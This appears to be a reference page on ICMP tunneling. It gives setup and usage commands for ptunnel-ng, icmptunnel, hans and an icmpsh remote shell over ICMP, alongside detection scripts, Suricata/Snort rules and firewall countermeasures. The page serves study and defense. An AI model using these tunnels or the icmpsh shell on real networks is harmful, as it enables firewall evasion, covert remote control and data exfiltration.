icmp tunneling
on this page
icmp tunneling exploits the data payload field in icmp echo request and reply packets (ping) to create covert communication channels. since icmp is often allowed for network diagnostics, it provides an effective bypass mechanism.
technical description
rfc 792 defines icmp echo messages with arbitrary data payloads. while intended for diagnostic purposes, this payload can carry any data:
- echo request (type 8) and reply (type 0)
- payload typically 32-56 bytes in normal ping
- can extend up to mtu limit (~1472 bytes on ethernet)
- sequence and identifier fields provide ordering
packet structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identifier | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data (covert channel payload) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
implementation: ptunnel-ng
overview
ptunnel-ng (https://github.com/utoni/ptunnel-ng) provides tcp over icmp tunneling:
- password protection
- multiple simultaneous connections
- automatic packet reassembly
- works through nat
- supports both ipv4 and ipv6
installation
# debian/ubuntu
apt install ptunnel-ng
# from source
git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
./autogen.sh
./configure
make
sudo make install
server setup
# basic server (run on publicly accessible host)
sudo ptunnel-ng
# with password
sudo ptunnel-ng -x secretpassword
# specify network interface
sudo ptunnel-ng -c eth0
# verbose mode
sudo ptunnel-ng -v 4
# daemon mode with log
sudo ptunnel-ng -daemon /var/log/ptunnel.log
client usage
# forward local port 8000 to remote ssh (22)
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22
# with password
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22 -x secretpassword
# use the tunnel
ssh -p 8000 localhost
# forward multiple ports
sudo ptunnel-ng -p server_ip -lp 8000 -da dest_ip -dp 22 &
sudo ptunnel-ng -p server_ip -lp 8080 -da dest_ip -dp 80 &
implementation: icmptunnel
overview
icmptunnel (https://github.com/dhavalkapil/icmptunnel) creates tun interfaces:
- simpler than ptunnel
- creates virtual network interface
- routes all traffic through icmp
- transparent to applications
setup
# clone and compile
git clone https://github.com/dhavalkapil/icmptunnel.git
cd icmptunnel
make
# server side
sudo ./icmptunnel -s
# assigns 10.0.0.1 to tun0
# client side
sudo ./icmptunnel -c server_ip
# assigns 10.0.0.2 to tun0
# route traffic through tunnel
sudo route add -net 192.168.0.0/24 gw 10.0.0.1
implementation: hans
overview
hans (https://github.com/friedrich/hans) implements ip over icmp:
- designed for simplicity
- automatic mtu discovery
- built-in compression
- supports multiple clients
usage
# server (runs on 10.1.2.1)
sudo hans -s 10.1.2.0 -p password -d
# client (gets 10.1.2.x)
sudo hans -c server_ip -p password
# verify connection
ping 10.1.2.1
traffic analysis
normal ping vs tunnel
from scapy.all import *
def analyze_icmp_tunnel(packet):
if packet.haslayer(ICMP):
if packet[ICMP].type == 8: # echo request
payload = packet[ICMP].payload
# normal ping pattern
normal_pattern = b'abcdefghijklmnopqrstuvwabcdefghi'
# check for non-standard payload
if len(bytes(payload)) > 56:
print("large icmp payload detected")
elif bytes(payload)[:32] != normal_pattern:
print("non-standard icmp payload")
# capture and analyze
sniff(filter="icmp", prn=analyze_icmp_tunnel, count=100)
packet characteristics
# normal ping
ping -c 1 google.com
# 64 bytes total, 56 bytes data
# tunnel traffic
# varies: 100-1500 bytes typical
# high frequency
# bidirectional with matching identifiers
detection methods
behavioral indicators
- unusually large icmp packets (>64 bytes)
- high frequency icmp traffic between same hosts
- non-standard payload patterns
- equal request/reply ratios
- consistent icmp identifiers
detection rules
# suricata rule
alert icmp any any -> any any (
msg:"possible icmp tunnel - large payload";
dsize:>100;
threshold: type both, track by_src, count 10, seconds 60;
sid:1000003;
)
# snort rule
alert icmp any any -> any any (
msg:"icmp tunnel - suspicious payload pattern";
content:!"abcdefghijklmnopqrstuvwabcdefghi";
dsize:>56;
sid:1000004;
)
statistical detection
def detect_icmp_tunnel(packets):
icmp_stats = {}
for p in packets:
if p.haslayer(ICMP):
src = p[IP].src
dst = p[IP].dst
key = f"{src}-{dst}"
if key not in icmp_stats:
icmp_stats[key] = {
'count': 0,
'sizes': [],
'intervals': []
}
icmp_stats[key]['count'] += 1
icmp_stats[key]['sizes'].append(len(p))
# detect anomalies
for key, stats in icmp_stats.items():
if stats['count'] > 100: # high frequency
avg_size = sum(stats['sizes']) / len(stats['sizes'])
if avg_size > 100: # large packets
print(f"possible tunnel: {key}")
countermeasures
firewall rules
# block icmp entirely (breaks ping)
iptables -A INPUT -p icmp -j DROP
iptables -A OUTPUT -p icmp -j DROP
# rate limit icmp
iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 2 -j ACCEPT
iptables -A INPUT -p icmp -j DROP
# limit icmp packet size
iptables -A INPUT -p icmp -m length --length 100:65535 -j DROP
icmp payload inspection
# netfilter inspection module concept
def inspect_icmp_payload(packet):
if packet.haslayer(ICMP):
payload = bytes(packet[ICMP].payload)
# check for encrypted/compressed data
entropy = calculate_entropy(payload)
if entropy > 7.5: # high entropy suggests encryption
return "BLOCK"
# check for known patterns
if payload.startswith(b'PTUN'): # ptunnel signature
return "BLOCK"
return "ALLOW"
performance characteristics
bandwidth
- theoretical: up to network speed
- practical: 100 kbps - 2 mbps typical
- factors: packet size, network latency, filtering
latency
- adds 10-50ms overhead
- increases with packet loss
- nat traversal adds complexity
reliability
- no built-in retransmission in icmp
- tunnel implementations add tcp-like features
- packet reordering handled by tunnel protocol
advantages and limitations
advantages
- icmp rarely completely blocked
- works through many firewalls
- nat traversal possible
- simple protocol
- cross-platform support
limitations
- easily detected with proper monitoring
- some networks block large icmp packets
- performance varies significantly
- may trigger ids/ips alerts
- unreliable without tcp layer
real-world usage
documented cases
- 2016: apt groups using icmp tunnels
- 2017: cryptocurrency mining via icmp
- 2019: data exfiltration campaigns
malware families
- pingback: icmp-based backdoor
- htran: includes icmp tunnel capability
- bouncer: multi-protocol tunnel including icmp
testing setup
local testing
# create network namespace for testing
ip netns add test_ns
ip link add veth0 type veth peer name veth1
ip link set veth1 netns test_ns
# configure interfaces
ip addr add 192.168.100.1/24 dev veth0
ip link set veth0 up
ip netns exec test_ns ip addr add 192.168.100.2/24 dev veth1
ip netns exec test_ns ip link set veth1 up
# run ptunnel server
ptunnel-ng
# test from namespace
ip netns exec test_ns ptunnel-ng -p 192.168.100.1 -lp 8000 -da 127.0.0.1 -dp 22
# monitor traffic
tcpdump -i veth0 -w icmp_tunnel.pcap icmp
performance testing
# bandwidth test through tunnel
# server side
iperf3 -s
# client side (through tunnel)
iperf3 -c 10.0.0.1 -t 60
# compare with direct connection
iperf3 -c server_direct_ip -t 60
alternative implementations
icmpsh
windows-compatible shell over icmp:
# server (linux)
python icmpsh_m.py source_ip dest_ip
# client (windows)
icmpsh.exe -t source_ip
additional tools
- skeeve: golang icmp tunnel
- itun: improved icmp tunneling
- pingtunnel: original implementation (deprecated)
references
- rfc 792: internet control message protocol
- “firewall piercing using icmp tunneling” - phrack magazine
- “detecting icmp tunneling” - sans institute
- “covert channels in the tcp/ip protocol suite” - first monday
- ptunnel-ng documentation: https://github.com/utoni/ptunnel-ng/wiki